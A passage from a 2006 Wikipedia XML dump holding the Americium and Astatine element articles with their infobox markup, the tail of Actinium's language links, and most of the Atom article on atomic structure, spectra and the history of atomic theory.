[[cs:Aktinium]]
[[da:Actinium]]
[[de:Actinium]]
[[et:Aktiinium]]
[[es:Actinio]]
[[eo:Aktinio]]
[[fr:Actinium]]
[[he:אקטיניום]]
[[hr:Aktinij]]
[[ko:악티늄]]
[[io:Aktiniumo]]
[[it:Attinio]]
[[la:Actinium]]
[[lt:Aktinis]]
[[hu:Aktínium]]
[[nl:Actinium]]
[[ja:アクチニウム]]
[[no:Actinium]]
[[nn:Actinium]]
[[pl:Aktyn]]
[[pt:Actínio]]
[[ru:Актиний]]
[[sr:Актинијум]]
[[fi:Aktinium]]
[[sv:Aktinium]]
[[th:แอกทิเนียม]]
[[uk:Актиній]]
[[zh:锕]]</text>
    </revision>
  </page>
  <page>
    <title>Americium</title>
    <id>900</id>
    <revision>
      <id>41411944</id>
      <timestamp>2006-02-27T03:42:46Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Polonium|Polonium]] ([[User talk:Polonium|talk]]) to last version by Vary</comment>
      <text xml:space="preserve">{{Elementbox_header | number=95 | symbol=Am | name=americium | left=[[plutonium]] | right=[[curium]] | above=[[europium|Eu]] | below=(Uqp) | color1=#ff99cc | color2=black }}
{{Elementbox_series | [[actinide]]s }}
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{{Elementbox_appearance | silvery white }}
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{{Elementbox_heatcapacity_jpmolkat25 | 62.7 }}
{{Elementbox_vaporpressure_katpa | 1239 | 1356 | &amp;nbsp; | &amp;nbsp; | &amp;nbsp; | &amp;nbsp; | comment= }}
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{{Elementbox_cas_number | 7440-35-9 }}
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{{Elementbox_isotopes_decay2 | mn=241 | sym=Am
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E10 s|432.2 y]]
 | dm1=[[spontaneous fission|SF]] | de1=- | pn1= | ps1=-
 | dm2=[[alpha decay|&amp;alpha;]] | de2=5.638 | pn2=237 | ps2=[[neptunium|Np]] }}
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{{Elementbox_isotopes_decay2 | mn=243 | sym=Am
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{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ff99cc | color2=black }}

'''Americium''' is a [[synthetic element]] in the [[periodic table]] that has the symbol Am and [[atomic number]] 95. A [[radioactive decay|radioactive]] [[metal]]lic element, americium is an [[actinide]] that was obtained by bombarding [[plutonium]] with [[neutron]]s and was the fourth [[transuranic element]] to be discovered. It was named for the [[The Americas|America]]s, by analogy with [[europium]].

== Notable characteristics ==
Freshly prepared americium [[metal]] has a white and silvery [[luster]], at [[room temperature]]s it slowly tarnishes in dry air. It is more silvery than [[plutonium]] or [[neptunium]] and apparently more malleable than neptunium or [[uranium]]. [[Alpha emission]] from Am-241 is approximately three times [[radium]].  [[Gram]] quantities of Am-241 emit intense [[gamma ray]]s which creates a serious exposure problem for anyone handling the element.

== Applications ==
This element can be produced in [[kilogram]] amounts and has some uses (mostly Am-241 since it is easier to produce relatively pure samples of this isotope). Americium has found its way into the household, where one type of [[smoke detector]] contains a tiny amount of Am-241 as a source of [[ionizing radiation]]. Am-241 has been used as a portable gamma ray source for use in [[radiography]]. The element has also been employed to gauge [[glass]] thickness to help create flat glass.  Am-242 is a neutron emitter and has found uses in [[neutron radiography]].  However this isotope is extremely expensive to produce in usable quantities.

== History ==
Americium was [[discovery of the chemical elements|first synthesized]] by [[Glenn T. Seaborg]], Leon O. Morgan, Ralph A. James, and [[Albert Ghiorso]] in late [[1944]] at the wartime Metallurgical Laboratory at the [[University of Chicago]] (now known as [[Argonne National Laboratory]]). The team created the [[isotope]] Am-241 by subjecting [[plutonium]]-239 to successive [[neutron capture]] reactions in a [[nuclear reactor]]. This created Pu-240 and then Pu-241 which in turn decayed into Am-241 via [[beta decay]].  Seaborg was granted [[patent]] 3,156,523 for &quot;Element 95 and Method of Producing Said Element&quot;. The discovery of americium and [[curium]] was first announced informally on a children's quiz show in 1945. [http://pubs.acs.org/cen/80th/print/americiumprint.html]

== Isotopes ==
18 [[radioisotope]]s of americium have been characterized, with the most stable being Am-243 with a [[half-life]] of 7370 years, and Am-241 with a half-life of 432.2 years. All of the remaining [[radioactive decay|radioactive]] isotopes have half-lives that are less than 51 hours, and the majority of these have half-lives that are less than 100 minutes. This element also has 8 [[meta state]]s, with the most stable being Am-242m (t&lt;sub&gt;½&lt;/sub&gt; 141 years). The isotopes of americium range in [[atomic weight]] from 231.046 [[atomic mass unit|amu]] (Am-231) to 249.078 amu (Am-249).

== Chemistry ==

In aqueous systems the most common oxidation state is +3, it is very much harder to oxidise Am(III) to Am(IV) than it is to do the same oxidation for Pu(III).

Currently the [[solvent extraction]] chemistry of americium is important as in several areas of the world [[scientists]] are working on reducing the medium term [[radiotoxicity]] of the waste from the reprocessing of used [[nuclear fuel]].

See [[liquid-liquid extraction]] for some examples of the solvent extraction of americium.


Americium like other actinides readily forms a dioxide americyl core (AmO&lt;sub&gt;2&lt;/sub&gt;)[http://fas.org/sgp/othergov/doe/lanl/pubs/00818038.pdf].  In the environment, this americyl core readily complexes with carbonate as well as other oxygen moeities (OH&lt;sup&gt;-&lt;/sup&gt;, NO&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;-&lt;/sup&gt;, NO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;-&lt;/sup&gt;, and SO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;-2&lt;/sup&gt;) to form charged complexes which tend to be readily mobile with low affinities to soil.

*AmO&lt;sub&gt;2&lt;/sub&gt;(OH)&lt;sup&gt;+1&lt;/sup&gt;
*AmO&lt;sub&gt;2&lt;/sub&gt;(OH)&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;+2&lt;/sup&gt;
*AmO&lt;sub&gt;2&lt;/sub&gt;(CO&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;1&lt;/sub&gt;&lt;sup&gt;+1&lt;/sup&gt;
*AmO&lt;sub&gt;2&lt;/sub&gt;(CO&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;-1&lt;/sup&gt;
*AmO&lt;sub&gt;2&lt;/sub&gt;(CO&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;-3&lt;/sup&gt;

==References==
*[http://periodic.lanl.gov/elements/95.html Los Alamos National Laboratory - Americium]
*''Guide to the Elements - Revised Edition'', Albert Stwertka, (Oxford University Press; 1998) ISBN 0-19-508083-1
* [http://education.jlab.org/itselemental/ele095.html It's Elemental - Americium]

== External links ==
{{Commons|Americium}}
* [http://www.webelements.com/webelements/elements/text/Am/index.html WebElements.com - Americium] (also used as a reference)

[[Category:Chemical elements]]
[[Category:Actinides]]
[[Category:Americium compounds]]

[[ca:Americi]]
[[cs:Americium]]
[[da:Americium]]
[[de:Americium]]
[[et:Ameriitsium]]
[[el:Αμερίκιο]]
[[es:Americio]]
[[eo:Americio]]
[[fr:Américium]]
[[ko:아메리슘]]
[[io:Americio]]
[[it:Americio]]
[[he:אמריציום]]
[[lt:Americis]]
[[lb:Americium]]
[[hu:Amerícium]]
[[nl:Americium]]
[[ja:アメリシウム]]
[[nn:Americium]]
[[pl:Ameryk]]
[[pt:Amerício]]
[[ru:Америций]]
[[sr:Америцијум]]
[[fi:Amerikium]]
[[sv:Americium]]
[[th:อะเมริเซียม]]
[[tr:Amerikyum]]
[[uk:Америцій]]
[[zh:镅]]</text>
    </revision>
  </page>
  <page>
    <title>Astatine</title>
    <id>901</id>
    <revision>
      <id>41310430</id>
      <timestamp>2006-02-26T13:18:29Z</timestamp>
      <contributor>
        <username>Rune.welsh</username>
        <id>240649</id>
      </contributor>
      <minor />
      <comment>/* Notable characteristics */ this is a conditional clause</comment>
      <text xml:space="preserve">{{Elementbox_header | number=85 | symbol=At | name=astatine | left=[[polonium]] | right=[[radon]] | above=[[iodine|I]] | below=([[Uus]]) | color1=#ffff99 | color2=black }}
{{Elementbox_series | [[halogen]]s }}
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{{Elementbox_atomicmass_gpm | [[1 E-25 kg|(210)]] }}
{{Elementbox_econfig | &amp;#91;[[xenon|Xe]]&amp;#93; 4f&lt;sup&gt;14&lt;/sup&gt; 5d&lt;sup&gt;10&lt;/sup&gt; 6s&lt;sup&gt;2&lt;/sup&gt; 6p&lt;sup&gt;5&lt;/sup&gt; }}
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{{Elementbox_meltingpoint | k=575 | c=302 | f=576 }}
{{Elementbox_boilingpoint | k=? 610 | c=? 337 | f=? 639}}
{{Elementbox_heatvaporiz_kjpmol | ca. 40 }}
{{Elementbox_vaporpressure_katpa | 361 | 392 | 429 | 475 | 531 | 607 | comment= }}
{{Elementbox_section_atomicprop | color1=#ffff99 | color2=black }}
{{Elementbox_crystalstruct | no data }}
{{Elementbox_oxistates | &amp;plusmn;1, 3, 5, 7 }}
{{Elementbox_electroneg_pauling | 2.2 }}
{{Elementbox_ionizationenergies1 | (est.) 920 }}
{{Elementbox_section_miscellaneous | color1=#ffff99 | color2=black }}
{{Elementbox_magnetic | no data }}
{{Elementbox_thermalcond_wpmkat300k | 1.7 }}
{{Elementbox_cas_number | 7440-68-8 }}
{{Elementbox_isotopes_begin | isotopesof=astatine | color1=#ffff99 | color2=black }}
{{Elementbox_isotopes_decay2 | mn=210 | sym=At
 | na=100% | hl=8.1 [[hour|h]]
 | dm1=[[electron capture|Epsilon]] | de1=3.981 | pn1=210 | ps1=[[polonium|Po]]
 | dm2=[[alpha decay|Alpha]] | de2=5.631 | pn2=206 | ps2=[[bismuth|Bi]] }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ffff99 | color2=black }}

'''Astatine''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''At''' and [[atomic number]] 85. This [[radioactive]] element occurs naturally from [[uranium]] and [[thorium]] decay and is the heaviest of the [[halogen]]s.

== Notable characteristics ==
This highly [[radioactive]] element has been confirmed by [[mass spectrometer]]s to behave chemically much like other [[halogen]]s, especially [[iodine]] (it would probably accumulate in the [[thyroid]] gland like iodine). Astatine is thought to be more [[metal]]lic than iodine. Researchers at the [[Brookhaven National Laboratory]] have performed experiments that have identified and measured elementary reactions that involve astatine.

With the possible exception of [[francium]], astatine is the rarest naturally occurring element with the total amount in Earth's crust estimated to be less than 1 [[ounce|oz]] (28 g) at any one time; this amounts to less than one teaspoon of the element. The [[Guinness Book of Records]], however, has dubbed the element the rarest on Earth, stating: &quot;Only around 0.9 oz (25 [[gram|g]]) of the element astatine (At) occurs naturally in the Earth's crust.&quot;

== History ==
Astatine ([[Greek language|Greek]] ''astatos'' meaning &quot;unstable&quot;) was first synthesized in [[1940]] by [[Dale R. Corson]], [[K. R. MacKenzie]], and [[Emilio Segrè]] of the [[University of California, Berkeley]] by barraging [[bismuth]] with [[alpha particle]]s. An earlier name for the element was ''alabamine'' (Ab).

== Occurrence ==
Astatine is produced by bombarding bismuth with energetic alpha particles to obtain relatively long-lived At-209 - At-211, which can then be [[distillation|distilled]] from the target by heating in the presence of air.

== Isotopes ==
Astatine has 41 known [[isotope]]s, all of which are [[radioactive]]; the longest-lived isotope is &lt;sup&gt;210&lt;/sup&gt;At which has a [[half-life]] of 8.1 hours. The shortest-lived isotope is &lt;sup&gt;213&lt;/sup&gt;At which has a half-life of 125 [[nanoseconds]].

== References ==
*[http://periodic.lanl.gov/elements/85.html Los Alamos National Laboratory - Astatine]

== External links ==
{{Commons|Astatine}}
*[http://www.webelements.com/webelements/elements/text/At/index.html WebElements.com - Astatine]

[[Category:Chemical elements]]
[[Category:Halogens]]

[[bs:Astatin]]
[[ca:Àstat]]
[[cs:Astat]]
[[da:Astat]]
[[de:Astat]]
[[et:Astaat]]
[[es:Astato]]
[[eo:Astato]]
[[fr:Astate]]
[[ko:아스타틴]]
[[io:Astatino]]
[[is:Astat]]
[[it:Astato]]
[[he:אסטטין]]
[[lv:Astats]]
[[lt:Astatas]]
[[hu:Asztácium]]
[[nl:Astatium]]
[[ja:アスタチン]]
[[no:Astat]]
[[nn:Astat]]
[[oc:Astat]]
[[pl:Astat]]
[[pt:Astato]]
[[ru:Астат]]
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[[fi:Astatiini]]
[[sv:Astat]]
[[th:แอสทาทีน]]
[[uk:Астат]]
[[zh:砹]]</text>
    </revision>
  </page>
  <page>
    <title>Atom</title>
    <id>902</id>
    <revision>
      <id>42039966</id>
      <timestamp>2006-03-03T11:17:30Z</timestamp>
      <contributor>
        <username>Iorek85</username>
        <id>432424</id>
      </contributor>
      <minor />
      <comment>/* External links */  remove bad link</comment>
      <text xml:space="preserve">{{Redirect2|Atom|Atomic}} {{for|[[Atom (standard)|Atom feeds]] from Wikipedia|Wikipedia:Syndication}}

{| border=&quot;1&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; cellpadding=&quot;2&quot; style=&quot;margin-left:1em&quot;
|-
! bgcolor=gray | Atom
|-
| align=&quot;center&quot; | [[image:Helium_atom_with_charge-smaller.jpg | align center | Model of the atom - 3-D Helium atom - ground state]]
|-
| align=&quot;center&quot; | '''Helium atom model'''&lt;br&gt;Showing nucleus with two protons (blue) &lt;br&gt;and two neutrons (red), &lt;br&gt;orbited by two electrons (waves).
|-
! bgcolor=gray | Classification
|-
|
{| align=&quot;center&quot;
|-
| Smallest recognised division of a [[chemical element]]
|}
|-
|
|-
! bgcolor=gray | Properties
|-
|
|-
|
{| align=&quot;center&quot;
|-
| [[atomic mass|Mass]]: || &amp;asymp; 1.66 &amp;times; 10{{smsup|−27}} to 4.52 &amp;times; 10{{smsup|−25}} [[kg]]
|-
| [[Electric charge]]: || zero
|-
| Diameter:
| [[1_E-11_m|10 pm]] to [[1_E-10_m|100 pm]]
|}
|}
In [[chemistry]] and [[physics]], an '''atom''' ([[Greek language|Greek]] ''&amp;#940;&amp;#964;&amp;#959;&amp;#956;&amp;#959;&amp;#957;'' meaning &quot;indivisible&quot;) is the smallest possible particle of a [[chemical element]] that retains its chemical properties. The word ''atom'' may also refer to the smallest possible indivisible [[fundamental particle]]. This definition must not be confused with that of chemical atoms, since chemical atoms (hereafter &quot;atoms&quot;) are composed of smaller [[subatomic particle]]s.

Most atoms are composed of three types of [[subatomic particle]]s which govern their external properties:
* [[electron]]s, which have a negative [[electric charge|charge]] and are the least massive of the three;
* [[proton]]s, which have a positive [[electric charge|charge]] and are about 1836 times more massive than electrons; and
* [[neutron]]s, which have no [[electric charge|charge]] and are about 1838 times more massive than electrons.

Protons and neutrons are both [[nucleon]]s and make up the dense, massive [[atomic nucleus]]. The electrons form the much larger [[electron cloud]] surrounding the nucleus.

Atoms differ in the number of each of the subatomic particles they contain. The number of protons in an atom (called the [[atomic number]]) determines the [[chemical element|element]] of the atom. Within a single element, the number of neutrons may also vary, determining the [[isotope]] of that element. Atoms are electrically neutral if they have an equal number of protons and electrons. Electrons that are furthest from the nucleus may be transferred to other nearby atoms or even shared between atoms. Atoms which have either a deficit or a surplus of electrons are called [[ions]]. The number of protons and neutrons in the atomic nucleus may also change, via [[nuclear fusion]], [[nuclear fission]] or [[radioactive decay]].

Atoms are the fundamental building blocks of [[chemistry]], and are [[Law of Conservation of Matter|conserved]] in [[chemical reaction]]s. Atoms are able to [[chemical bond|bond]] into [[molecule]]s and other types of [[chemical compound]]s. Molecules are made up of multiple atoms; for example, a molecule of [[water]] is a combination of two [[hydrogen]] atoms and one [[oxygen]] atom.

==Properties of the atom==
===Subatomic particles===
:''see main article [[subatomic particle]]s

Although the name &quot;atom&quot; was applied at a time when atoms were thought to be indivisible, it is now known that the atom can be broken down into a number of smaller components. The first of these to be discovered was the negatively charged [[electron]], which is easily ejected from atoms during [[ionization]]. The electrons orbit a small, dense body containing all of the positive charge in the atom, called the [[atomic nucleus]]. This nucleus is itself made up of [[nucleon]]s: positively charged [[proton]]s and chargeless [[neutron]]s.

Before 1961, the subatomic particles were thought to consist of only protons, neutrons and electrons. However, protons and neutrons themselves are now known to consist of still smaller particles called [[quark]]s. In addition, the electron is known to have a nearly massless neutral partner called a [[neutrino]]. Together, the electron and neutrino are both [[lepton]]s.

Ordinary atoms are composed only of quarks and leptons of the first [[generation (particle physics)|generation]]. The proton is composed of two [[up quark]]s and one [[down quark]], whereas the neutron is composed of one up quark and two down quarks. Although they do not occur in ordinary matter, two other heavier generations of quarks and leptons may be generated in [[high-energy physics|high-energy collisions]].

The subatomic [[force carrier|force carrying]] particles (called [[gauge boson]]s) are also important to atoms. Electrons are bound to the nucleus by [[photon]]s carrying the [[electromagnetic force]]. Protons and neutrons are bound together in the nucleus by [[gluon]]s carrying the [[strong nuclear force]].

====Electron configuration====
:''see main article [[electron configuration]]''

The [[chemistry|chemical behavior]] of atoms is due to interactions between electrons. Electrons of an atom remain within certain, predictable [[electron configurations]]. These configurations are determined by the [[quantum mechanics]] of electrons in the [[electric potential]] of the atom; the [[principal quantum number]] determines particular [[electron shell]]s with distinct [[energy level]]s. Generally, the higher the energy level of a shell, the further away it is from the nucleus. The electrons in the outermost shell, called the [[valence electron]]s, have the greatest influence on chemical behavior. Core electrons (those not in the outer shell) play a role, but it is usually in terms of a secondary effect due to screening of the positive charge in the atomic nucleus.

[[Image:HAtomOrbitals.png|frame|right|The [[atomic orbital]] [[wavefunction]]s of a [[hydrogen atom]]. The [[principal quantum number]] is at the right of each row and the [[azimuthal quantum number]] is denoted by letter at top of each column.]]

An electron shell can hold up to 2''n''&lt;sup&gt;2&lt;/sup&gt; electrons, where ''n'' is the principal quantum number of the shell. The occupied shell of greatest ''n'' is the valence shell, even if it only has one electron. In the most stable [[ground state]], an atom's electrons will fill up its shells in order of increasing energy. Under some circumstances an electron may be [[excited state|excited]] to a higher energy level (that is, it absorbs energy from an external source and leaps to a higher shell), leaving a space in a lower shell. An excited atom's electrons will [[spontaneous emission|spontaneously fall]] into lower levels, emitting excess energy as a [[photon]]s, until it returns to the ground state.

In addition to its principal quantum number ''n'', an electron is distinguished by three other quantum numbers: the [[azimuthal quantum number]] ''l'' (describing the [[orbital angular momentum]] of the electron), the [[magnetic quantum number]] ''m'' (describing the direction of the angular momentum vector), and the [[spin quantum number]] ''s'' (describing the direction of the electron's [[spin (physics)|intrinsic angular momentum]]). Electrons with varying ''l'' and ''m'' have distinctive shapes denoted by [[spectroscopic notation]]. In the illustration, the letters '''s''', '''p''', '''d''' and '''f''' (corresponding to ''l''&amp;nbsp;=&amp;nbsp;0,&amp;nbsp;1,&amp;nbsp;2,&amp;nbsp;3) describe the shape of the [[atomic orbital]]. In most atoms, orbitals of differing ''l'' are not exactly [[degenerate energy level|degenerate]] but separated into a [[fine structure]]. Orbitals of differing ''m'' are degenerate but may be separated by applying a [[magnetic field]], creating the [[Zeeman effect]]. Electrons with differing ''s'' have very slight energy differences called [[hyperfine splitting]].

====Nucleon properties====

The constituent [[proton]]s and [[neutron]]s of the [[atomic nucleus]] are collectively called [[nucleon]]s. The nucleons are held together in the nucleus by the [[strong nuclear force]].

Nuclei can undergo transformations that affect the number of protons and neutrons they contain, a process called [[radioactive decay]]. When nuclei transformations take place spontaneously, this process is called [[radioactivity]]. Radioactive transformations proceed by a wide variety of modes, but the most common are [[alpha decay]] (emission of a [[helium]] nucleus) and [[beta decay]] (emission of an electron). Decays involving electrons or [[positron]]s are due to the [[weak nuclear interaction]].

In addition, like the electrons of the atom, the nucleons of nuclei may be pushed into [[excited state]]s of higher energy. However, these transitions typically require thousands of times more energy than electron excitations. When an excited nucleus emits a photon to return to the [[ground state]], the photon has very high energy and is called a [[gamma ray]].

Nuclear transformations also take place in [[nuclear reaction]]s. In [[nuclear fusion]], two light nuclei come together and merge into a single heavier nucleus. In [[nuclear fission]], a single large nucleus is divided into two or more smaller nuclei.

===Atom size and speed===
Atoms are much smaller than the [[wavelength]]s of [[light]] that human vision can detect, so atoms cannot be seen in any kind of optical [[microscope]]. However, there are ways of detecting the positions of atoms on the surface of a solid or a [[thin film]] so as to obtain images. These include: [[electron microscope]]s (such as in [[scanning tunneling microscopy]] (STM)), [[atomic force microscopy]] (AFM), [[nuclear magnetic resonance]] (NMR) and [[x-ray microscopy]].

Since the [[electron cloud]] does not have a sharp cutoff, the size of an atom is not easily defined. For atoms that can form solid [[crystal]] [[crystal lattice|lattice]]s, the distance between the centers of adjacent atoms can be easily determined by [[x-ray diffraction]], giving an estimate of the atoms' size. For any atom, one might use the radius at which the electrons of the [[valence shell]] are most likely to be found. As an example, the size of a [[hydrogen]] atom is estimated to be approximately 1.0586&amp;times;10{{smsup|−10}}&amp;nbsp;m (twice the [[Bohr radius]]). Compare this to the size of the [[proton]] (the only particle in the nucleus of the hydrogen atom), which is approximately 10{{smsup|−15}}&amp;nbsp;m. So the ratio of the size of the hydrogen atom to its nucleus is about 100,000:1.  If an atom were the size of a [[stadium]], the nucleus would be the size of a [[marbles|marble]]. Nearly all the mass of an atom is in its nucleus, yet almost all the space in an atom is filled by its electrons.

Atoms of different [[chemical element|elements]] do vary in size, but the sizes do not scale linearly with the mass of the atom. Their sizes are roughly the same to within a factor of 2. The reason for this is that heavy elements have large positive charge on their nuclei, which strongly attract the electrons to the center of the atom. This contracts the size of the [[electron shell]]s, so that more electrons fit in the only a slightly greater volume.
  
The [[temperature]] of a collection of atoms is a measure of the average energy of motion of those atoms; at 0 [[kelvin]]s ([[absolute zero]]) atoms would have no motion. As the temperature of the system is increased, the kinetic energy of the particles in the system is increased, and their speed of motion increases. At [[room temperature]], atoms making up gases in the air move at a speed of 500&amp;nbsp;m/s (about 1100 mph or 1800 km/h).

===Elements, isotopes and ions===

Atoms are generally classified by their [[atomic number]] ''Z'', which corresponds to the number of protons in the atom. The atomic number determines which [[chemical element]] the atom is. For example, [[carbon]] atoms are atoms containing six protons. All atoms with the same atomic number share a wide variety of physical properties and exhibit the same [[chemical properties]]. The elements may be sorted according to the [[periodic table]] in order of increasing atomic number.

The [[atomic mass]] ''A'', atomic mass number, or nucleon number of an element is the total number of protons and neutrons in an atom of that element, so-called because each proton and neutron has a mass of about 1&amp;nbsp;[[amu]]. The number of neutrons ''A''−''Z'' in an atom has no effect on which element it is. Each element can have numerous kinds of atoms with the same number of protons and electrons but varying numbers of neutrons. Each has the same atomic number but a different mass number. These are called the [[isotope]]s of an element. When writing the name of an isotope, the element name is followed by the mass number. For example, [[carbon-14]] contains 6 protons and 8 neutrons in each atom, for a total mass number of 14.

The atomic mass listed for each element in the periodic table is an average of the isotope masses found in nature, [[weighted average|weighted]] by their [[abundance of the chemical elements|abundance]].

The simplest atom is the [[hydrogen]] isotope [[protium]], which has atomic number 1 and atomic mass number 1; it consists of one proton and one electron. The hydrogen isotope which also contains one neutron so is called [[deuterium]] or hydrogen-2; the hydrogen isotope with two neutrons is called [[tritium]] or hydrogen-3. Tritium is an unstable isotope which decays through a process called [[radioactivity]]. Almost all isotopes of each element are radioactive; only a few are [[stable isotope|stable]]. The elements with atomic number 84 ([[polonium]]) and heavier have no stable isotopes and are all radioactive.

Virtually all elements heavier than hydrogen and [[helium]] were created through [[stellar nucleosynthesis]] and [[supernova nucleosynthesis]]. Most of the elements lighter than [[uranium]] (''Z''=92) have stable-enough isotopes to occur naturally on [[Earth]] (with the notable exception of [[technetium]] ''Z''=43). Several elements that do not occur on Earth have been found to be present in [[star]]s. Elements not normally found in nature have been artificially created by [[synthetic element|nuclear bombardment]]; [[as of 2006]], elements have been created through atomic number 116 (given the temporary name [[ununhexium]]). These ultra-heavy elements are generally highly unstable and decay quickly.

Atoms that have either lost or gained electrons are called atomic [[ion]]s (with either positive(+) or negative charge(−), respectively).

===Valence and bonding===
:''see main article [[valence electron]]s and [[chemical bond]]''

The number of electrons in an atom's outermost shell (the [[valence shell]]) governs its bonding behavior. Therefore, elements with the same number of valence electrons are [[periodic table group|group]]ed together in the columns of the [[periodic table]] of the elements. [[Alkali metal]]s contain one electron on their outer shell; [[alkaline earth metal]]s, two electrons; [[halogen]]s, seven electrons; and various others. 

Every atom is most stable with a full valence shell. This means that atoms with full valence shells (the [[noble gas]]es) are very unreactive. Conversely, atoms with few electrons in their valence shell are more [[reactivity|reactive]] it is. Alkali metals are therefore very reactive, with [[caesium]], [[rubidium]], and [[francium]] being the most reactive of all metals. Also, atoms that need only few electrons (such as the halogens) to fill their valence shells are reactive. [[Fluorine]] is the most reactive of all elements.

Atoms may fill their valence shells by [[chemical bond]]ing. This can be achieved one of two ways: an atom can either share electrons with other atoms (a ''[[covalent bond]]''), or it can remove electrons from (or donate electrons to) other atoms (an ''[[ionic bond]]''). The formation of a bond causes a strong attraction between two atoms, creating [[molecule]]s or [[ionic compound]]s. Many other types of bonds exist, including:
*[[polar covalent bond]]s;
*[[coordinate covalent bond]]s;
*[[metallic bond]]s;
*[[hydrogen bond]]s; and
*[[van der Waals bond]]s.

===Atomic spectrum===
:''see main article [[Atomic spectroscopy]]''

Since each element in the [[periodic table]] consists of an atom in a unique configuration with different numbers of [[proton]]s and [[electron]]s, each element can also be uniquely described by the [[energy level|energies]] of its [[atomic orbital]]s and the number of electrons within them. Normally, an atom is found in its lowest-energy [[ground state]]; states with higher energy are called [[excited state]]s. An electron may move from a lower-energy orbital to a higher-energy orbital by absorbing a [[photon]] with energy equal to the difference between the energies of the two levels. An electron in a higher-energy orbital may drop to a lower-energy orbital by emitting a photon. Since each element has a unique set of energy levels, each creates its own [[light]] pattern unique to itself: its own spectral signature.  

If a set of atoms is heated (such as in an [[arc lamp]]), their electrons will move into excited states. When these atoms fall back toward the ground state, they will produce an [[emission spectrum]]. If a set of atoms is illuminated by a [[continuous spectrum]], it will only absorb specific [[wavelength]]s (energies) of photon that correspond to the differences in its energy levels. The resulting pattern of gaps is called the [[absorption spectrum]].

In spectroscopic analysis, scientists can use a [[spectrometer]] to study the atoms in [[star]]s and other distant objects. Due to the distinctive spectral lines that each element produces, they are able to tell the chemical composition of distant [[planet]]s, stars and [[nebula]]e.

Not all parts of the atomic spectrum are in visible light part of the [[electromagnetic spectrum]]. For example, the [[hyperfine transition]]s (including the important [[21 cm line]]) produce low-energy [[radio wave]]s. When electrons deep inside large atoms are knocked out (for example by [[beta radiation]]), replacement atoms fall deep into the [[electric potential]] of the [[nucleus]], producing high-energy [[x-ray]]s.

==Atoms and antimatter==
:''see main article [[antimatter]]

[[Antimatter]] can also form atoms, composed of [[positron]]s, antiprotons, and antineutrons. Since antimatter is very difficult to produce and store, only a small amount [[antihydrogen]] has ever existed on Earth. This was produced at [[CERN]] in the [[ATHENA]] and [[ATRAP]] experiments using the [[Antiproton Decelerator]].

==Atoms and the Big Bang==

In models of the [[Big Bang]], [[Big Bang nucleosynthesis]] predicts that within one to three minutes of the Big Bang almost all atomic material in the universe was created. During this process, [[nucleus|nuclei]] of [[hydrogen]] and [[helium]] formed abundantly, but almost no elements heavier than [[lithium]]. Hydrogen makes up approximately 75% of the atoms in the universe; helium makes up 24%; and all other elements make up just 1%. However, although nuclei (fully-[[ion]]ized atoms) were created, neutral atoms themselves could not form in the intense heat.

Big Bang chronology of the atom continues to approximately 379,000 years after the Big Bang when the cosmic temperature had dropped to just 3,000&amp;nbsp;[[kelvin|K]]. It was then cool enough to allow the nuclei to capture [[electron]]s. This process is called [[recombination]], during which the first neutral atoms took form. Once atoms become neutral, they only absorb [[photon]]s of a discrete [[absorption spectrum]]. This allows most of the photons in the universe to travel unimpeded for billions of years. These photons are still detectable today in the [[cosmic microwave background]].

After Big Bang nucleosynthesis, no heavier elements could be created until the [[star formation|formation of the first stars]]. These stars [[nuclear fusion|fused]] heavier elements through [[stellar nucleosynthesis]] during their lives and through [[supernova nucleosynthesis]] as they died. The seeding of the [[interstellar medium]] by heavy elements eventually allowed the formation of [[terrestrial planet]]s like the [[Earth]].

==History of atomic theory==
{{main|Atomic theory}}

===Early atomism===
From the [[6th century BC]], [[Hindu]], [[Buddhist]] and [[Jain]]a philosophers in [[ancient India]] developed the earliest atomic theories. The first philosopher who formulated ideas about the atom in a systematic manner was [[Kanada]] who lived in the 6th century BC. Another Indian philosopher, Pakudha Katyayana who also lived in the 6th century BC and was a contemporary of [[Gautama Buddha]], had also propounded ideas about the atomic constitution of the material world. Indian atomists believed that an atom could be one of upto six elements, with each element having upto 24 properties. They developed detailed theories of how atoms could combine, react, vibrate, move, and perform other actions, and had particularly elaborate theories of how atoms combine, which explains how atoms first combine in pairs, and then group into trios of pairs, which are the smallest visible units of matter. This parallels with the structure of modern atomic theory, in which pairs or triplets of supposedly fundamental quarks combine to create most typical forms of matter. They had also suggested the possibility of splitting an atom which, as we know today, is the source of atomic energy. (See [[Atomism#Indian atomism|Indian atomism]] for more details.)

[[Democritus]] and [[Leucippus]], [[Greek philosophers]] in the [[5th century BC]], presented a theory of atoms. (See [[Atomism]] for more details.) The Greeks believed that atoms were all made of the same material but had different shapes and sizes, which determined the physical properties of the material.  For instance, the atoms of a [[liquid]] were thought to be smooth, allowing them to slide over each other. None of these ideas, however, were founded in [[scientific method|scientific experimentation]].

During the [[Middle Ages]] (the [[Islamic Golden Age]]), [[Islam]]ic atomists develop atomic theories that represent a synthesis of both Greek and Indian atomism. (See [[Atomism|Islamic atomism]] for more details.) Older Greek and Indian ideas were further developed by Islamic atomists, along with new Islamic ideas, such as the possibility of there being particles smaller than an atom. As Islamic influence began spreading through Europe, the ideas of Islamic atomism, along with the older ideas of Greek and Indian atomism, spread throughout Europe by the end of the Middle Ages, where modern atomic theories began taking shape.

===Birth of modern atomic theory===

In 1808, [[John Dalton]] proposed that an [[element]] is composed of atoms of a single, unique type, and that although their shape and structure was immutable, atoms of different elements could combine to form more complex structures ([[chemical compound]]s). He deduced this after the experimental discovery of the [[law of multiple proportions]] — that is, if two elements form more than one compound between them, then the ratios of the masses of the second element which combine with a fixed mass of the first element will be ratios of small [[whole number]]s.

